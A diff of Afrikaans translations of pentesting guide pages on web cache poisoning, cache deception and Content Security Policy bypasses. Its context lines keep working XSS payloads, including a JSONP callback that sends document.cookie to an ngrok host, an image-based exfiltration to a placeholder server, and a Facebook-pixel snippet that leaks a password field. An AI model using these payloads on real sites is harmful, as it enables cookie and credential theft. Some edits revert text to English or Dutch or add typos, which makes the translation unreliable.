@@ -164,23 +164,23 @@ Die stuur van 'n slegte waarde in die content-type kop het 'n 405 gecacheerde an
 
 ### GitLab + GCP CP-DoS
 
-GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So was dit moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te laat terugkeer. Dit kan ook die metode `PURGE` ondersteun.
+GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So dit was moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te laat terugkeer. Dit kan ook die metode `PURGE` ondersteun.
 
 ### Rack Middleware (Ruby on Rails)
 
-In Ruby on Rails-toepassings word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 herleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers vanaf 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
+In Ruby on Rails-toepassings word Rack-middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 herleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers vanaf 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
 
 ### 403 and Storage Buckets
 
-Cloudflare het voorheen 403-antwoorde gecache. Pogings om S3 of Azure Storage Blobs met onakkurate Owerheidskoppe te benader, sou 'n 403-antwoord lewer wat gecache is. Alhoewel Cloudflare opgehou het om 403-antwoorde te cache, kan hierdie gedrag steeds in ander proxy-dienste teenwoordig wees.
+Cloudflare het voorheen 403-antwoorde gecache. Pogings om S3 of Azure Storage Blobs met onkorrekte Owerheidskoppe te benader, sou 'n 403-antwoord lewer wat gecache is. Alhoewel Cloudflare opgehou het om 403-antwoorde te cache, kan hierdie gedrag steeds in ander proxy-dienste teenwoordig wees.
 
 ### Injecting Keyed Parameters
 
-Caches sluit dikwels spesifieke GET-parameters in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gecache. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) egter ook met 'n foutiewe waarde gestuur is, sou die cache-sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Om 'n waarde van 0 aan hierdie parameter toe te ken, het gelei tot 'n cachebare 400 Bad Request-fout.
+Caches sluit dikwels spesifieke GET-parameters in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gecache. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) egter ook met 'n foute waarde gestuur is, sou die cache-sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Om 'n waarde van 0 aan hierdie parameter toe te ken, het gelei tot 'n cachebare 400 Bad Request-fout.
 
 ### User Agent Rules
 
-Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache vergiftiging en DoS inbring.
+Sommige ontwikkelaars blokkeer versoeke met gebruikers-agente wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies, kan hierdie benadering kwesbaarhede soos cache vergiftiging en DoS inbring.
 
 ### Illegal Header Fields
 
@@ -206,8 +206,8 @@ Ander dinge om te toets:
 - _Gebruik minder bekende uitbreidings soos_ `.avif`
 
 Nog 'n baie duidelike voorbeeld kan in hierdie skrywe gevind word: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
-In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache bediener gaan die resultaat stoor.\
-Dan kan die **aanvaller** _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiers toegang verkry en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem.
+In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache-bediener gaan die resultaat stoor.\
+Dan kan die **aanvaller** toegang verkry tot _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiert en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem.
 
 Let daarop dat die **cache proxy** moet wees **gekonfigureer** om lêers **te cache** gebaseer op die **uitbreiding** van die lêer (_.css_) en nie gebaseer op die content-type nie. In die voorbeeld _http://www.example.com/home.php/non-existent.css_ sal 'n `text/html` content-type hê in plaas van 'n `text/css` mime tipe (wat verwag word vir 'n _.css_ lêer).
 

src/pentesting-web/cache-deception/cache-poisoning-to-dos.md

@@ -44,7 +44,7 @@ Invalid Header
 ```
 - **HTTP Metode Oorskrywing Aanval (HMO)**
 
-As die bediener die verandering van die HTTP-metode met koptekste soos `X-HTTP-Method-Override`, `X-HTTP-Method` of `X-Method-Override` ondersteun. Dit is moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie, sodat 'n slegte antwoord in die cache gestoor word:
+As die bediener die verandering van die HTTP-metode met koptekste soos `X-HTTP-Method-Override`, `X-HTTP-Method` of `X-Method-Override` ondersteun, is dit moontlik om 'n geldige bladsy aan te vra deur die metode te verander sodat die bediener dit nie ondersteun nie, sodat 'n slegte antwoord in die cache gestoor word:
 ```
 GET /blogs HTTP/1.1
 Host: redacted.com
@@ -63,7 +63,7 @@ Cache: miss
 ```
 - **Lang Oorgang DoS**
 
-Soos in die volgende voorbeeld, x word nie in die cache gestoor nie, so 'n aanvaller kan die oorgang respons gedrag misbruik om die oorgang 'n URL te laat stuur wat so groot is dat dit 'n fout teruggee. Dan sal mense wat probeer om toegang te verkry tot die URL sonder die ongecacheerde x sleutel die fout respons ontvang:
+Soos in die volgende voorbeeld, x word nie in die cache gestoor nie, so 'n aanvaller kan die oorgang respons gedrag misbruik om die oorgang 'n URL te laat stuur wat so groot is dat dit 'n fout teruggee. Dan sal mense wat probeer om die URL te benader sonder die ongecacheerde x sleutel die fout respons ontvang:
 ```
 GET /login?x=veryLongUrl HTTP/1.1
 Host: www.cloudflare.com
@@ -80,7 +80,7 @@ CF-Cache-Status: miss
 ```
 - **Gasheer-kop geval normalisering**
 
-Die gasheer-kop moet gevalsensitief wees, maar sommige webwerwe verwag dit om kleinletters te wees en gee 'n fout as dit nie is nie:
+Die gasheer-kop moet gevalsensitief wees, maar sommige webwerwe verwag dit om kleinletters te wees en keer 'n fout terug as dit nie is nie:
 ```
 GET /img.png HTTP/1.1
 Host: Cdn.redacted.com

src/pentesting-web/cache-deception/cache-poisoning-via-url-discrepancies.md

@@ -11,32 +11,32 @@ Dit is 'n opsomming van die tegnieke wat in die pos [https://portswigger.net/res
 
 **URL-delimiters** verskil volgens raamwerk en bediener, wat die manier waarop versoeke gerouteer en antwoorde hanteer word, beïnvloed. Sommige algemene oorsprong-delimiters is:
 
-- **Puntkomma**: Gebruik in Spring vir matriks veranderlikes (bv. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
+- **Puntkomma**: Gebruik in Spring vir matriksveranderlikes (bv. `/hello;var=a/world;var1=b;var2=c` → `/hello/world`).
 - **Punt**: Spesifiseer antwoordformaat in Ruby on Rails (bv. `/MyAccount.css` → `/MyAccount`)
-- **Null Byte**: Verkort paaie in OpenLiteSpeed (bv. `/MyAccount%00aaa` → `/MyAccount`).
+- **Null Byte**: Verkort pades in OpenLiteSpeed (bv. `/MyAccount%00aaa` → `/MyAccount`).
 - **Newline Byte**: Skei URL-komponente in Nginx (bv. `/users/MyAccount%0aaaa` → `/account/MyAccount`).
 
 Ander spesifieke delimiters kan gevind word deur hierdie proses:
 
 - **Stap 1**: Identifiseer nie-kasbare versoeke en gebruik dit om te monitor hoe URL's met potensiële delimiters hanteer word.
-- **Stap 2**: Voeg ewekansige agtervoegsels by paaie en vergelyk die bediener se antwoord om te bepaal of 'n karakter as 'n delimiter funksioneer.
+- **Stap 2**: Voeg ewekansige agtervoegsels by pades en vergelyk die bediener se antwoord om te bepaal of 'n karakter as 'n delimiter funksioneer.
 - **Stap 3**: Stel potensiële delimiters in voordat die ewekansige agtervoegsel om te sien of die antwoord verander, wat die gebruik van delimiters aandui.
 
 ## Normalization & Encodings
 
-- **Doel**: URL-parsers in beide cache- en oorsprongbedieners normaliseer URL's om paaie vir eindpuntkaarte en cache-sleutels te onttrek.
+- **Doel**: URL-parsers in beide cache- en oorsprongbedieners normaliseer URL's om pades vir eindpuntkaarte en cache-sleutels te onttrek.
 - **Proses**: Identifiseer pad-delimiters, onttrek en normaliseer die pad deur karakters te dekodeer en punt-segmente te verwyder.
 
 ### **Encodings**
 
 Verskillende HTTP-bedieners en proxies soos Nginx, Node, en CloudFront dekodeer delimiters anders, wat lei tot inkonsekwentheid oor CDNs en oorsprongbedieners wat uitgebuit kan word. Byvoorbeeld, as die webbediener hierdie transformasie uitvoer `/myAccount%3Fparam` → `/myAccount?param` maar die cache-bediener hou die pad `/myAccount%3Fparam` as sleutel, is daar 'n inkonsekwentheid. 
 
-'n Manier om vir hierdie inkonsekwenthede te kyk, is om versoeke te stuur met URL-kodering van verskillende karakters nadat die pad sonder enige kodering gelaai is en te kyk of die gekodeerde padantwoord van die gekaste antwoord gekom het.
+'n Manier om vir hierdie inkonsekwenthede te kyk, is om versoeke te stuur URL-kodering verskillende karakters na die pad gelaai is sonder enige kodering en te kyk of die gekodeerde padantwoord van die gekaste antwoord gekom het.
 
 ### Punt-segment
 
-Die padnormalisering waar punte betrokke is, is ook baie interessant vir cache poisoning-aanvalle. Byvoorbeeld, `/static/../home/index` of `/aaa..\home/index`, sommige cache-bedieners sal hierdie paaie met hulself as die sleutels kas, terwyl ander die pad kan oplos en `/home/index` as die cache-sleutel gebruik.\
-Net soos voorheen, help dit om hierdie soort versoeke te stuur en te kyk of die antwoord van die cache verkry is om te identifiseer of die antwoord op `/home/index` die antwoord is wat gestuur is wanneer daardie paaie aangevra is.
+Die padnormalisering waar punte betrokke is, is ook baie interessant vir cache poisoning-aanvalle. Byvoorbeeld, `/static/../home/index` of `/aaa..\home/index`, sommige cache-bedieners sal hierdie pades met hulself as die sleutels kas, terwyl ander die pad kan oplos en `/home/index` as die cache-sleutel gebruik.\
+Net soos voorheen, help dit om hierdie soort versoeke te stuur en te kyk of die antwoord van die cache verkry is om te identifiseer of die antwoord op `/home/index` die antwoord is wat gestuur is wanneer daardie pades aangevra is.
 
 ## Statiese Hulpbronne
 
@@ -47,6 +47,6 @@ Verskeie cache-bedieners sal altyd 'n antwoord kas as dit as staties geïdentifi
 - **Welbekende statiese gidse**: Die volgende gidse bevat statiese lêers en daarom moet hul antwoord gekas word: /static, /assets, /wp-content, /media, /templates, /public, /shared
 - Dit is moontlik om 'n cache te dwing om 'n dinamiese antwoord te stoor deur 'n delimiter, 'n statiese gids en punte te gebruik, soos: `/home/..%2fstatic/something` wat `/static/something` sal kas en die antwoord sal `/home` wees.
 - **Statiese gidse + punte**: 'n Versoek na `/static/..%2Fhome` of na `/static/..%5Chome` kan as is gekas word, maar die antwoord kan `/home` wees.
-- **Statiese lêers:** Sommige spesifieke lêers word altyd gekas soos `/robots.txt`, `/favicon.ico`, en `/index.html`. Wat misbruik kan word soos `/home/..%2Frobots.txt` waar die cache dalk `/robots.txt` kan stoor en die oorsprongbediener op `/home` kan antwoordgee.
+- **Statiese lêers:** Sommige spesifieke lêers word altyd gekas soos `/robots.txt`, `/favicon.ico`, en `/index.html`. Wat misbruik kan word soos `/home/..%2Frobots.txt` waar die cache dalk `/robots.txt` sal stoor en die oorsprongbediener sal op `/home` antwoordgee.
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/content-security-policy-csp-bypass/README.md

@@ -1,10 +1,10 @@
-# Content Security Policy (CSP) Bypass
+# Inhoudsekuriteitsbeleid (CSP) Omseiling
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Wat is CSP
 
-Content Security Policy (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik om **te beskerm teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur pad en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
+Inhoudsekuriteitsbeleid (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik op **beskerming teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur pad en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid kan die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
 
 Implementering van CSP word uitgevoer deur **antwoordkoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Na hierdie beleid, handhaaf blaaiers proaktief hierdie bepalings en blokkeer onmiddellik enige opgespoor oortredings.
 
@@ -37,10 +37,10 @@ frame-src 'self' https://ic.paypal.com https://paypal.com;
 media-src https://videos.cdn.mozilla.net;
 object-src 'none';
 ```
-### Direktiewe
+### Richtlijnen
 
-- **script-src**: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat deur gebeurtenishandlers of XSLT-stylesheets geaktiveer word.
-- **default-src**: Stel 'n standaardbeleid in vir die verkryging van hulpbronne wanneer spesifieke verkrygingsdirektiewe afwesig is.
+- **script-src**: Laat spesifieke bronne vir JavaScript toe, insluitend URL's, inline skripte, en skripte wat deur gebeurtenis hanteerders of XSLT-stylesheets geaktiveer word.
+- **default-src**: Stel 'n standaard beleid in vir die verkryging van hulpbronne wanneer spesifieke verkrygingsriglyne afwesig is.
 - **child-src**: Spesifiseer toegelate hulpbronne vir webwerkers en ingebedde raaminhoud.
 - **connect-src**: Beperk URL's wat gelaai kan word met behulp van interfaces soos fetch, WebSocket, XMLHttpRequest.
 - **frame-src**: Beperk URL's vir rame.
@@ -53,7 +53,7 @@ object-src 'none';
 - **base-uri**: Spesifiseer toegelate URL's vir laai met behulp van `<base>` elemente.
 - **form-action**: Lys geldige eindpunte vir vormindienings.
 - **plugin-types**: Beperk mime-tipes wat 'n bladsy mag aanroep.
-- **upgrade-insecure-requests**: Gee instruksies aan blaaiers om HTTP-URL's na HTTPS te herskryf.
+- **upgrade-insecure-requests**: Gee opdrag aan blaaiers om HTTP URL's na HTTPS te herskryf.
 - **sandbox**: Pas beperkings toe wat soortgelyk is aan die sandbox-attribuut van 'n `<iframe>`.
 - **report-to**: Spesifiseer 'n groep waaraan 'n verslag gestuur sal word indien die beleid oortree word.
 - **worker-src**: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker skripte.
@@ -64,10 +64,10 @@ object-src 'none';
 
 - `*`: Laat alle URL's toe behalwe dié met `data:`, `blob:`, `filesystem:` skemas.
 - `'self'`: Laat laai vanaf dieselfde domein toe.
-- `'data'`: Laat hulpbronne toe om via die data-skema gelaai te word (bv. Base64-gecodeerde beelde).
+- `'data'`: Laat hulpbronne toe om via die data skema gelaai te word (bv. Base64-gecodeerde beelde).
 - `'none'`: Blokkeer laai vanaf enige bron.
 - `'unsafe-eval'`: Laat die gebruik van `eval()` en soortgelyke metodes toe, nie aanbeveel vir sekuriteitsredes nie.
-- `'unsafe-hashes'`: Aktiveer spesifieke inline gebeurtenishandlers.
+- `'unsafe-hashes'`: Stel spesifieke inline gebeurtenis hanteerders in staat.
 - `'unsafe-inline'`: Laat die gebruik van inline hulpbronne soos inline `<script>` of `<style>` toe, nie aanbeveel vir sekuriteitsredes nie.
 - `'nonce'`: 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (nommer wat een keer gebruik word) gebruik.
 - As jy JS beperkte uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met `doc.defaultView.top.document.querySelector("[nonce]")` en dit dan te hergebruik om 'n kwaadwillige skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, so dit is nie nodig nie), soos in:
@@ -159,20 +159,20 @@ Werkende payload:
 ```markup
 "/>'><script src="/uploads/picture.png.js"></script>
 ```
-However, dit is hoogs waarskynlik dat die bediener **die opgelaaide lêer valideer** en slegs sal toelaat dat jy **bepaalde tipe lêers oplaai**.
+However, it's highly probable that the server is **validating the uploaded file** and will only allow you to **upload determined type of files**.
 
-Boonop, selfs al kon jy 'n **JS-kode binne** 'n lêer oplaai met 'n uitbreiding wat deur die bediener aanvaar word (soos: _script.png_), sal dit nie genoeg wees nie omdat sommige bedieners soos die apache bediener **die MIME-tipe van die lêer op grond van die uitbreiding kies** en blaaiers soos Chrome sal **weier om Javascript**-kode binne iets wat 'n beeld behoort te wees, uit te voer. "Hopelik", is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat **Apache nie weet** van die _**.wave**_ uitbreiding nie, daarom bedien dit dit nie met 'n **MIME-tipe soos audio/\***.
+Moreover, even if you could upload a **JS code inside** a file using an extension accepted by the server (like: _script.png_) this won't be enough because some servers like apache server **select MIME type of the file based on the extension** and browsers like Chrome will **reject to execute Javascript** code inside something that should be an image. "Hopefully", there are mistakes. For example, from a CTF I learnt that **Apache doesn't know** the _**.wave**_ extension, therefore it doesn't serve it with a **MIME type like audio/\***.
 
-Van hier af, as jy 'n XSS en 'n lêeroplaai vind, en jy slaag daarin om 'n **misgeïntpreteerde uitbreiding** te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n polyglot ([sommige polyglot voorbeelde hier](https://github.com/Polydet/polyglot-database)).
+From here, if you find a XSS and a file upload, and you manage to find a **misinterpreted extension**, you could try to upload a file with that extension and the Content of the script. Or, if the server is checking the correct format of the uploaded file, create a polyglot ([some polyglot examples here](https://github.com/Polydet/polyglot-database)).
 
 ### Form-action
 
-As dit nie moontlik is om JS in te voeg nie, kan jy steeds probeer om byvoorbeeld akrediteer te eksfiltreer **deur 'n vorm aksie in te voeg** (en dalk verwag dat wagwoordbestuurders wagwoorde outomaties invul). Jy kan 'n [**voorbeeld in hierdie verslag**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp) vind. Let ook daarop dat `default-src` nie vorm aksies dek nie.
+If not possible to inject JS, you could still try to exfiltrate for example credentials **injecting a form action** (and maybe expecting password managers to auto-fill passwords). You can find an [**example in this report**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Also, notice that `default-src` does not cover form actions.
 
-### Derdeparty-eindpunte + ('unsafe-eval')
+### Third Party Endpoints + ('unsafe-eval')
 
 > [!WARNING]
-> Vir sommige van die volgende payloads **is `unsafe-eval` selfs nie nodig nie**.
+> For some of the following payload **`unsafe-eval` is not even needed**.
 ```yaml
 Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
 ```
@@ -197,10 +197,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
 <img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
 >
 ```
-#### Payloads wat Angular gebruik + 'n biblioteek met funksies wat die `window`-objek teruggee ([kyk na hierdie pos](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
+#### Payloads wat Angular gebruik + 'n biblioteek met funksies wat die `window` objek teruggee ([kyk na hierdie pos](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
 
 > [!NOTE]
-> Die pos wys dat jy **alle** **biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS-biblioteek repo) kan **laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en **watter funksies van watter biblioteke die `window`-objek teruggee** kan nagaan.
+> Die pos wys dat jy **alle** **biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS biblioteek repo) kan **laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en **watter funksies van watter biblioteke die `window` objek teruggee** kan nagaan.
 ```markup
 <script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
 <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
@@ -274,7 +274,7 @@ Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang op 'n
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Scenario's soos hierdie waar `script-src` op `self` en 'n spesifieke domein wat op die witlys is, gestel is, kan omseil word deur JSONP. JSONP eindpunte laat onveilige terugroepmetodes toe wat 'n aanvaller in staat stel om XSS uit te voer, werkende payload:
+Scenariod soos hierdie waar `script-src` op `self` en 'n spesifieke domein wat op die witlys is, gestel is, kan omseil word deur JSONP. JSONP eindpunte laat onveilige terugroepmetodes toe wat 'n aanvaller in staat stel om XSS uit te voer, werkende payload:
 ```markup
 "><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
 "><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
@@ -318,7 +318,7 @@ U moet in staat wees om data te exfiltreer, soortgelyk aan hoe dit altyd gedoen
 1. Skep 'n Facebook Developer-rekening hier.
 2. Skep 'n nuwe "Facebook Login" app en kies "Webwerf".
 3. Gaan na "Instellings -> Basies" en kry u "App ID".
-4. In die teikenwebwerf waarvan u data wil exfiltreer, kan u data exfiltreer deur direk die Facebook SDK gadget "fbq" te gebruik deur 'n "customEvent" en die datalaai.
+4. In die teikenwebwerf waarvan u data wil exfiltreer, kan u data exfiltreer deur direk die Facebook SDK gadget "fbq" te gebruik deur 'n "customEvent" en die dataload.
 5. Gaan na u App "Event Manager" en kies die toepassing wat u geskep het (let op dat die gebeurtenisbestuurder in 'n URL soortgelyk aan hierdie een gevind kan word: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
 6. Kies die tab "Test Events" om die gebeurtenisse te sien wat deur "u" webwerf gestuur word.
 
@@ -329,7 +329,7 @@ fbq('trackCustom', 'My-Custom-Event',{​
 data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"​
 });
 ```
-Wat die ander sewe derdeparty-domeine betref wat in die vorige tabel gespesifiseer is, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die vorige [blog pos](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) vir bykomende verduidelikings oor ander derdeparty-misbruik.
+Wat die ander sewe derdeparty-domeine betref wat in die vorige tabel gespesifiseer is, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die vorige [blog post](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) vir bykomende verduidelikings oor ander derdeparty-misbruik.
 
 ### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
 
@@ -435,7 +435,7 @@ Lees [hoe hier](../dangling-markup-html-scriptless-injection/).
 ```
 default-src 'self' 'unsafe-inline'; img-src *;
 ```
-`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy enige beeld van enige bron op die webblad kan gebruik.
+`'unsafe-inline'` beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en `img-src *` beteken dat jy enige beeld van enige hulpbron op die webblad kan gebruik.
 
 Jy kan hierdie CSP omseil deur die data via beelde te exfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en die vlag via 'n beeld onttrek):
 ```javascript
@@ -446,7 +446,7 @@ Image().src='http://PLAYER_SERVER/?'+_)
 ```
 Van: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 
-Jy kan ook hierdie konfigurasie misbruik om **javascript kode in 'n beeld in te laai**. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan **'n spesiale beeld** **maak**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om **'n JS kode** (soos 'n gewone XSS) uit te voer wat die **beeld** sal **laai**, die **JS** daarvan sal **onttrek** en **dit** sal **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Jy kan ook hierdie konfigurasie misbruik om **javascript kode in 'n beeld in te laai**. As die bladsy byvoorbeeld die laai van beelde van Twitter toelaat. Jy kan **'n spesiale beeld** **maak**, dit na Twitter **oplaai** en die "**unsafe-inline**" misbruik om **'n JS kode** (soos 'n gewone XSS) uit te voer wat die **beeld** **laai**, die **JS** daaruit **onttrek** en **dit** **uitvoer**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 
 ### Met Dienswerkers
 
@@ -462,7 +462,7 @@ Dienswerkers **`importScripts`** funksie is nie beperk deur CSP nie:
 
 #### Chrome
 
-As 'n **parameter** wat deur jou gestuur word **binne** die **verklaring** van die **beleid** geplak word, kan jy die **beleid** op 'n manier **verander** wat dit **onbruikbaar** maak. Jy kan **script 'unsafe-inline' toelaat** met enige van hierdie omseilings:
+As 'n **parameter** wat deur jou gestuur word **binne** die **verklaring** van die **beleid** **geplak** word, kan jy die **beleid** op 'n manier **verander** wat dit **nutteloos** maak. Jy kan **script 'unsafe-inline'** met enige van hierdie omseilings **toelaat**:
 ```bash
 script-src-elem *; script-src-attr *
 script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@@ -472,7 +472,7 @@ Jy kan 'n voorbeeld hier vind: [http://portswigger-labs.net/edge_csp_injection_x
 
 #### Edge
 
-In Edge is dit baie eenvoudiger. As jy net hierdie in die CSP kan byvoeg: **`;_`** **Edge** sal die hele **beleid** **verwerp**.\
+In Edge is dit baie eenvoudiger. As jy net hierdie in die CSP kan voeg: **`;_`** **Edge** sal die hele **beleid** **verwerp**.\
 Voorbeeld: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 
 ### img-src \*; via XSS (iframe) - Tydaanval
@@ -581,9 +581,9 @@ document.querySelector("DIV").innerHTML =
 
 - 'n `iframe` word geskep wat na 'n URL wys (kom ons noem dit `https://example.redirect.com`) wat deur CSP toegelaat word.
 - Hierdie URL lei dan na 'n geheime URL (bv. `https://usersecret.example2.com`) wat **nie toegelaat** word deur CSP nie.
-- Deur na die `securitypolicyviolation` gebeurtenis te luister, kan 'n mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein lek waarnatoe die aanvanklike URL gelei het.
+- Deur na die `securitypolicyviolation` gebeurtenis te luister, kan 'n mens die `blockedURI` eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein lek waartoe die aanvanklike URL gelei het.
 
-Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die potensiële lek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
+Dit is interessant om op te let dat blaaiers soos Chrome en Firefox verskillende gedrag het in die hantering van iframes met betrekking tot CSP, wat kan lei tot die moontlike lek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
 
 'n Ander tegniek behels die benutting van die CSP self om die geheime subdomein af te lei. Hierdie metode maak staat op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat doelbewus geblokkeer is. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-riglyn aan te pas om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n snit wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
 ```markdown
@@ -591,11 +591,11 @@ img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev http
 ```
